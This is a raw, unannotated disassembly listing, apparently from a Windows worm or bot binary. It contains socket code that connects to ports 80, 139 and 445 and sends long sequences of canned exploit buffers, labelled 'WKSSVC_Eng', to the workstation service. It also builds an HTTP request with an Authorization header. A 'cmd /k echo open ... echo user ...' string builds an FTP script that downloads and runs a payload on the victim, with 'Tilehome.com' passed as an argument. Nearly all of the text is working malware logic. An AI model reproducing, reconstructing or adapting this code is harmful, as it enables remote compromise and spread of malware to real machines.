sub_4140D0 inc eax leave retn sub_402C9F endp ; =============== S U B R O U T I N E ======================================= sub_402CEB proc near ; CODE XREF: sub_402E8D+24p var_40 = qword ptr -40h mov eax, offset loc_41E61F call sub_41459C sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_403362 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_402C9F cmp [ebp-2Ch], eax pop ecx jnb short loc_402D2D push edi push eax lea ecx, [ebp-38h] call sub_4032DD loc_402D2D: ; CODE XREF: sub_402CEB+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_402E4A mov ebx, [ebp+10h] loc_402D3C: ; CODE XREF: sub_402CEB+156j cmp dword ptr [ebp+10h], 3 jb short loc_402D46 push 3 jmp short loc_402D58 ; --------------------------------------------------------------------------- loc_402D46: ; CODE XREF: sub_402CEB+55j cmp dword ptr [ebp+10h], 2 jnz short loc_402D50 push 2 jmp short loc_402D58 ; --------------------------------------------------------------------------- loc_402D50: ; CODE XREF: sub_402CEB+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_402D59 push 1 loc_402D58: ; CODE XREF: sub_402CEB+59j ; sub_402CEB+63j pop ebx loc_402D59: ; CODE XREF: sub_402CEB+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_41F248 fstp [esp+40h+var_40] call sub_4140F7 pop ecx pop ecx call sub_4140D0 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_402D98 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_402D98: ; CODE XREF: sub_402CEB+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_402E06 add [ebp-18h], eax loc_402DEA: ; CODE XREF: sub_402CEB+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_421F54[eax] push eax push 1 call sub_40315F inc esi cmp esi, [ebp-1Ch] jb short loc_402DEA loc_402E06: ; CODE XREF: sub_402CEB+FAj cmp dword ptr [ebp-18h], 48h jb short loc_402E24 push dword ptr [ebp+14h] call sub_413E90 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4031B8 mov [ebp-18h], edi loc_402E24: ; CODE XREF: sub_402CEB+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_402E3E sub esi, [ebp-1Ch] loc_402E2F: ; CODE XREF: sub_402CEB+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40315F dec esi jnz short loc_402E2F loc_402E3E: ; CODE XREF: sub_402CEB+13Fj cmp [ebp+10h], edi ja loc_402D3C push 1 pop ebx loc_402E4A: ; CODE XREF: sub_402CEB+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_403362 push ds:dword_41F240 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40320F mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_403362 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_402CEB endp ; =============== S U B R O U T I N E ======================================= sub_402E8D proc near ; CODE XREF: sub_402F48+14Ap mov eax, offset loc_41E63C call sub_41459C sub esp, 10h push ebx push esi push edi push offset byte_438A10 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_402CEB mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_413F0B mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402ED7 xor bl, bl jmp short loc_402F1B ; --------------------------------------------------------------------------- loc_402ED7: ; CODE XREF: sub_402E8D+44j mov ecx, [ebp-18h] mov eax, offset dword_41F250 cmp ecx, ebx jnz short loc_402EE5 mov ecx, eax loc_402EE5: ; CODE XREF: sub_402E8D+54j cmp [ebp+18h], ebx jz short loc_402EED mov eax, [ebp+18h] loc_402EED: ; CODE XREF: sub_402E8D+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_413D8A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_44CD28 ; send cmp eax, esi jz short loc_402F12 xor bl, bl jmp short loc_402F14 ; --------------------------------------------------------------------------- loc_402F12: ; CODE XREF: sub_402E8D+7Fj mov bl, 1 loc_402F14: ; CODE XREF: sub_402E8D+83j push edi call sub_413F7F pop ecx loc_402F1B: ; CODE XREF: sub_402E8D+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_403362 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_403362 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_402E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F48 proc near ; CODE XREF: sub_40211B+380p ; sub_40211B+3A0p var_524 = byte ptr -524h var_523 = byte ptr -523h var_495 = byte ptr -495h var_124 = byte ptr -124h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 524h and [ebp+var_524], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_523] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_524] push offset dword_422100 push eax call sub_4138F0 add esp, 0Ch mov eax, offset aTilehome_com ; "Tilehome.com" push eax push eax push dword_438A18 push [ebp+arg_0] call sub_408A5D pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_495] push 400h push eax call sub_413D8A add eax, 90h push eax lea eax, [ebp+var_524] push eax push 164h lea eax, [ebp+var_24] push offset aSvwfbA ; "SVWf" push eax call sub_402749 mov ecx, [eax] xor esi, esi mov [ebp+var_8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp+var_4], eax jnz short loc_402FEE xor eax, eax jmp loc_403152 ; --------------------------------------------------------------------------- loc_402FEE: ; CODE XREF: sub_402F48+9Dj mov [ebp+var_C], esi loc_402FF1: ; CODE XREF: sub_402F48+1A9j test esi, esi jnz loc_4030F7 push 6 push 1 push 2 call ds:dword_41F1DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4030DF xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call dword_44CCDC ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call dword_44CD18 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call dword_44CC88 ; connect cmp eax, 0FFFFFFFFh jz loc_4030D4 cmp [ebp+arg_A0], 50h jnz short loc_40309C mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_403362 lea eax, [ebp+arg_4] push eax call sub_413E90 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_40339E push [ebp+var_4] push [ebp+var_8] push ebx call sub_402E8D add esp, 1Ch jmp short loc_4030D1 ; --------------------------------------------------------------------------- loc_40309C: ; CODE XREF: sub_402F48+112j cmp [ebp+arg_A0], 8Bh jnz short loc_4030B6 push [ebp+var_4] push [ebp+var_8] push ebx call sub_402C4D jmp short loc_4030CE ; --------------------------------------------------------------------------- loc_4030B6: ; CODE XREF: sub_402F48+15Ej cmp [ebp+arg_A0], 1BDh jnz short loc_4030D4 push [ebp+var_4] push [ebp+var_8] push ebx call sub_402B73 loc_4030CE: ; CODE XREF: sub_402F48+16Cj add esp, 0Ch loc_4030D1: ; CODE XREF: sub_402F48+152j movzx esi, al loc_4030D4: ; CODE XREF: sub_402F48+105j ; sub_402F48+178j push ebx call dword_44CD70 ; closesocket test esi, esi jnz short loc_4030EA loc_4030DF: ; CODE XREF: sub_402F48+C2j push 3E8h call ds:dword_41F050 ; Sleep loc_4030EA: ; CODE XREF: sub_402F48+195j inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_402FF1 loc_4030F7: ; CODE XREF: sub_402F48+ABj lea ecx, [ebp+var_8] call sub_40256E test esi, esi jz short loc_403150 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aWkssvc_eng ; "WKSSVC_Eng" push eax push offset aSS_ ; "%s// %s." lea eax, [ebp+var_124] push 0FFh push eax call sub_413D8A lea eax, [ebp+var_124] push eax call sub_409833 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_425A60[eax] lea eax, dword_425A60[eax] loc_403150: ; CODE XREF: sub_402F48+1B9j mov eax, esi loc_403152: ; CODE XREF: sub_402F48+A1j pop edi pop esi pop ebx leave retn sub_402F48 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E600 loc_403157: ; CODE XREF: sub_41E600+3j ; .text:0041E619j ... push 1 call sub_403362 retn ; END OF FUNCTION CHUNK FOR sub_41E600 ; =============== S U B R O U T I N E ======================================= sub_40315F proc near ; CODE XREF: sub_402CEB+110p ; sub_402CEB+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_41F240 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_403179 call sub_41E0D0 loc_403179: ; CODE XREF: sub_40315F+13j test ebx, ebx jbe short loc_4031B0 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4032DD test al, al jz short loc_4031B0 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_413890 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4031B0: ; CODE XREF: sub_40315F+1Cj ; sub_40315F+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40315F endp ; =============== S U B R O U T I N E ======================================= sub_4031B8 proc near ; CODE XREF: sub_402CEB+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_41F240 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4031D2 call sub_41E0D0 loc_4031D2: ; CODE XREF: sub_4031B8+13j test ebx, ebx jbe short loc_403207 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4032DD test al, al jz short loc_403207 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_4138F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_403207: ; CODE XREF: sub_4031B8+1Cj ; sub_4031B8+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4031B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40320F proc near ; CODE XREF: sub_402CEB+17Cp ; sub_41E12A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_403227 call sub_41E2FC loc_403227: ; CODE XREF: sub_40320F+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_403239 mov esi, [ebp+arg_8] loc_403239: ; CODE XREF: sub_40320F+25j cmp edi, ebx jnz short loc_40325B push ds:dword_41F240 add esi, ecx mov ecx, edi push esi call sub_4033D3 push [ebp+arg_4] mov ecx, edi push 0 call sub_4033D3 jmp short loc_4032D4 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_40320F+2Cj test esi, esi jbe short loc_40329E cmp esi, eax jnz short loc_40329E mov eax, [ebx+4] test eax, eax jnz short loc_40326F mov eax, offset dword_41F250 loc_40326F: ; CODE XREF: sub_40320F+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40329E push 1 mov ecx, edi call sub_403362 mov eax, [ebx+4] test eax, eax jnz short loc_40328A mov eax, offset dword_41F250 loc_40328A: ; CODE XREF: sub_40320F+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4032D4 ; --------------------------------------------------------------------------- loc_40329E: ; CODE XREF: sub_40320F+4Ej ; sub_40320F+52j ... push 1 push esi mov ecx, edi call sub_4032DD test al, al jz short loc_4032D4 mov eax, [ebx+4] test eax, eax jnz short loc_4032B8 mov eax, offset dword_41F250 loc_4032B8: ; CODE XREF: sub_40320F+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4138F0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4032D4: ; CODE XREF: sub_40320F+4Aj ; sub_40320F+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40320F endp ; =============== S U B R O U T I N E ======================================= sub_4032DD proc near ; CODE XREF: sub_402CEB+3Dp ; sub_40315F+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4032EF call sub_41E0D0 loc_4032EF: ; CODE XREF: sub_4032DD+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_403318 mov al, [ecx-1] cmp al, dl jz short loc_403318 cmp al, 0FFh jz short loc_403318 cmp edi, edx jnz short loc_403353 dec al push edx mov [ecx-1], al loc_40330D: ; CODE XREF: sub_4032DD+47j mov ecx, esi call sub_403362 loc_403314: ; CODE XREF: sub_4032DD+4Bj ; sub_4032DD+52j xor al, al jmp short loc_40335D ; --------------------------------------------------------------------------- loc_403318: ; CODE XREF: sub_4032DD+19j ; sub_4032DD+20j ... cmp edi, edx jnz short loc_403331 cmp [esp+8+arg_4], dl jz short loc_403326 push 1 jmp short loc_40330D ; --------------------------------------------------------------------------- loc_403326: ; CODE XREF: sub_4032DD+43j cmp ecx, edx jz short loc_403314 mov [esi+8], edx mov [ecx], dl jmp short loc_403314 ; --------------------------------------------------------------------------- loc_403331: ; CODE XREF: sub_4032DD+3Dj cmp [esp+8+arg_4], dl jz short loc_40334E mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_403343 cmp eax, edi jnb short loc_40335B loc_403343: ; CODE XREF: sub_4032DD+60j push 1 mov ecx, esi call sub_403362 jmp short loc_403353 ; --------------------------------------------------------------------------- loc_40334E: ; CODE XREF: sub_4032DD+58j cmp [esi+0Ch], edi jnb short loc_40335B loc_403353: ; CODE XREF: sub_4032DD+28j ; sub_4032DD+6Fj push edi mov ecx, esi call sub_40343A loc_40335B: ; CODE XREF: sub_4032DD+64j ; sub_4032DD+74j mov al, 1 loc_40335D: ; CODE XREF: sub_4032DD+39j pop edi pop esi retn 8 sub_4032DD endp ; =============== S U B R O U T I N E ======================================= sub_403362 proc near ; CODE XREF: sub_402CEB+1Fp ; sub_402CEB+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40338E mov eax, [esi+4] test eax, eax jz short loc_40338E lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_403387 cmp al, 0FFh jz short loc_403387 dec al mov [ecx], al jmp short loc_40338E ; --------------------------------------------------------------------------- loc_403387: ; CODE XREF: sub_403362+19j ; sub_403362+1Dj push ecx call sub_4145BB pop ecx loc_40338E: ; CODE XREF: sub_403362+8j ; sub_403362+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_403362 endp ; =============== S U B R O U T I N E ======================================= sub_40339E proc near ; CODE XREF: sub_402F48+13Ep ; sub_4034F7+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4032DD test al, al jz short loc_4033CC push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4138F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4033CC: ; CODE XREF: sub_40339E+12j mov eax, esi pop edi pop esi retn 8 sub_40339E endp ; =============== S U B R O U T I N E ======================================= sub_4033D3 proc near ; CODE XREF: sub_40320F+39p ; sub_40320F+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4033E6 call sub_41E2FC loc_4033E6: ; CODE XREF: sub_4033D3+Cj mov ecx, edi call sub_4034F7 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_4033FC mov ebx, eax loc_4033FC: ; CODE XREF: sub_4033D3+25j test ebx, ebx jbe short loc_403432 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4145D0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4032DD test al, al jz short loc_403432 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_403432: ; CODE XREF: sub_4033D3+2Bj ; sub_4033D3+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4033D3 endp ; =============== S U B R O U T I N E ======================================= sub_40343A proc near ; CODE XREF: sub_4032DD+79p mov eax, offset loc_41E648 call sub_41459C sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_403460 mov edi, [ebp+8] loc_403460: ; CODE XREF: sub_40343A+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40346D xor eax, eax loc_40346D: ; CODE XREF: sub_40343A+2Fj push eax call sub_414905 pop ecx mov [ebp+8], eax jmp short loc_40349E ; --------------------------------------------------------------------------- loc_403479: ; DATA XREF: zugr1819:0041FF04o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_403488 xor eax, eax loc_403488: ; CODE XREF: sub_40343A+4Aj push eax call sub_414905 mov [ebp+8], eax pop ecx mov eax, offset loc_403498 retn ; --------------------------------------------------------------------------- loc_403498: ; DATA XREF: sub_40343A+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40349E: ; CODE XREF: sub_40343A+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4034BC cmp eax, edi jbe short loc_4034AB mov eax, edi loc_4034AB: ; CODE XREF: sub_40343A+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4138F0 add esp, 0Ch loc_4034BC: ; CODE XREF: sub_40343A+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_403362 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4034DC mov edi, ebx loc_4034DC: ; CODE XREF: sub_40343A+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40343A endp ; =============== S U B R O U T I N E ======================================= sub_4034F7 proc near ; CODE XREF: sub_4033D3+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_403524 mov al, [esi-1] test al, al jz short loc_403524 cmp al, 0FFh jz short loc_403524 push 1 call sub_403362 push esi call sub_413E90 pop ecx push eax push esi mov ecx, edi call sub_40339E loc_403524: ; CODE XREF: sub_4034F7+9j ; sub_4034F7+10j ... pop edi pop esi retn sub_4034F7 endp ; =============== S U B R O U T I N E ======================================= sub_403527 proc near ; DATA XREF: .data:00421004o test byte_742518, 1 jnz short loc_403537 or byte_742518, 1 loc_403537: ; CODE XREF: sub_403527+7j jmp $+5 push offset nullsub_260 call sub_414980 pop ecx retn sub_403527 endp ; --------------------------------------------------------------------------- mov eax, 13B24h call sub_413E60 push ebx push ebp push esi lea eax, [esp+120h] push edi push eax push 101h call ds:dword_41F1BC ; WSAStartup test eax, eax jnz loc_4039BC lea eax, [esp+13B3Ch] push 1 push eax call sub_40ADCF mov ebp, eax pop ecx test ebp, ebp pop ecx jnz short loc_4035A3 lea eax, [esp+13B3Ch] push 5 push eax call sub_40ADCF mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_4039BC loc_4035A3: ; CODE XREF: .text:00403586j push 0 push 1 push 2 call ds:dword_41F1DC ; socket mov esi, eax test esi, esi jl loc_4039BC lea eax, [esp+13B3Ch] mov word ptr [esp+14h], 2 push eax call ds:dword_41F1C0 ; inet_addr push 1BDh mov [esp+1Ch], eax call ds:dword_41F1C4 ; ntohs mov [esp+16h], ax lea eax, [esp+14h] push 10h push eax push esi call ds:dword_41F1E4 ; connect test eax, eax jl loc_4039BC lea eax, [esp+10h] push 4 push eax push 1006h push 0FFFFh push esi mov dword ptr [esp+24h], 1388h call ds:dword_41F1C8 ; setsockopt mov edi, ds:dword_41F1CC cmp ebp, 2 mov ebx, 13880h jnz loc_403779 mov ebp, ds:dword_41F1D0 push 0 push 58h push offset dword_422240 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 0B0h push offset dword_422298 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 0F6h push offset dword_422348 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 3Eh push offset dword_422440 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 60h push offset dword_422480 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 400h push offset dword_4224E0 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 10Eh push offset dword_4228E0 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_4229F0 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_422B4C push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_422CA8 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_422E04 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 0CEh push offset dword_422F60 jmp loc_4038FE ; --------------------------------------------------------------------------- loc_403779: ; CODE XREF: .text:00403626j cmp ebp, 3 jnz loc_403901 mov ebp, ds:dword_41F1D0 push 0 push 58h push offset dword_423030 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 0B0h push offset dword_423088 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 0F6h push offset dword_423138 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 3Eh push offset dword_423230 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 60h push offset dword_423270 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 96h push offset dword_4232D0 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_423368 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_4234C4 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_423620 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 6Ah push offset dword_42377C push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_4237E8 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_423944 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 15Bh push offset dword_423AA0 push esi call ebp ; send push 0 lea eax, [esp+2B8h] push ebx push eax push esi call edi ; recv push 0 push 6Ah push offset dword_423BFC loc_4038FE: ; CODE XREF: .text:00403774j push esi call ebp ; send loc_403901: ; CODE XREF: .text:0040377Cj xor ebp, ebp lea eax, [esp+2B4h] push ebp push ebx push eax push esi call edi ; recv push esi call ds:dword_41F1E8 ; closesocket push 7D0h call ds:dword_41F050 ; Sleep push 3D8h lea esi, [esp+13B3Ch] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_4039C9 add esp, 0C0h test al, al jz short loc_4039BC lea eax, [esp+13B3Ch] push eax mov eax, [esp+13BE4h] imul eax, 3Ch add eax, offset aWkssvc_eng ; "WKSSVC_Eng" push eax lea eax, [esp+2Ch] push offset dword_423C68 push eax call sub_413812 add esp, 10h cmp [esp+13BECh], ebp jnz short loc_4039A1 push ebp lea eax, [esp+28h] push dword ptr [esp+13BECh] push eax lea eax, [esp+13B58h] push eax push dword ptr [esp+13B48h] call sub_40B2B5 add esp, 14h loc_4039A1: ; CODE XREF: .text:0040397Bj mov eax, [esp+13BE0h] push 1 imul eax, 3Ch inc dword_425A60[eax] lea eax, dword_425A60[eax] pop eax jmp short loc_4039BE ; --------------------------------------------------------------------------- loc_4039BC: ; CODE XREF: .text:0040356Bj ; .text:0040359Dj ... xor eax, eax loc_4039BE: ; CODE XREF: .text:004039BAj pop edi pop esi pop ebp pop ebx add esp, 13B24h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039C9 proc near ; CODE XREF: .text:0040393Bp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_413890 lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call sub_408947 add esp, 10h mov [ebp+var_C], eax push [ebp+arg_BC] call ds:dword_41F1C4 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_41F1DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403AA5 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_41F1E4 ; connect cmp eax, 0FFFFFFFFh jz short loc_403AA5 mov edi, 400h push esi mov esi, ds:dword_41F1CC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push 1F4h call ds:dword_41F050 ; Sleep mov eax, offset aTilehome_com ; "Tilehome.com" push eax push eax push dword_438A18 push [ebp+arg_0] call sub_408A5D pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_1A0] push 190h push eax call sub_413D8A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_41F1D0 ; send cmp eax, 0FFFFFFFFh jnz short loc_403AA9 loc_403AA5: ; CODE XREF: sub_4039C9+4Fj ; sub_4039C9+65j xor al, al jmp short loc_403ABF ; --------------------------------------------------------------------------- loc_403AA9: ; CODE XREF: sub_4039C9+DAj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_41F1E8 ; closesocket mov al, 1 loc_403ABF: ; CODE XREF: sub_4039C9+DEj pop edi pop esi pop ebx leave retn sub_4039C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 1BDh push 2Fh pop ecx mov edi, esp rep movsd call sub_404143 push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_40418D add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_403B15 test eax, eax jz short loc_403B18 loc_403B15: ; CODE XREF: .text:00403B0Fj push 1 pop eax loc_403B18: 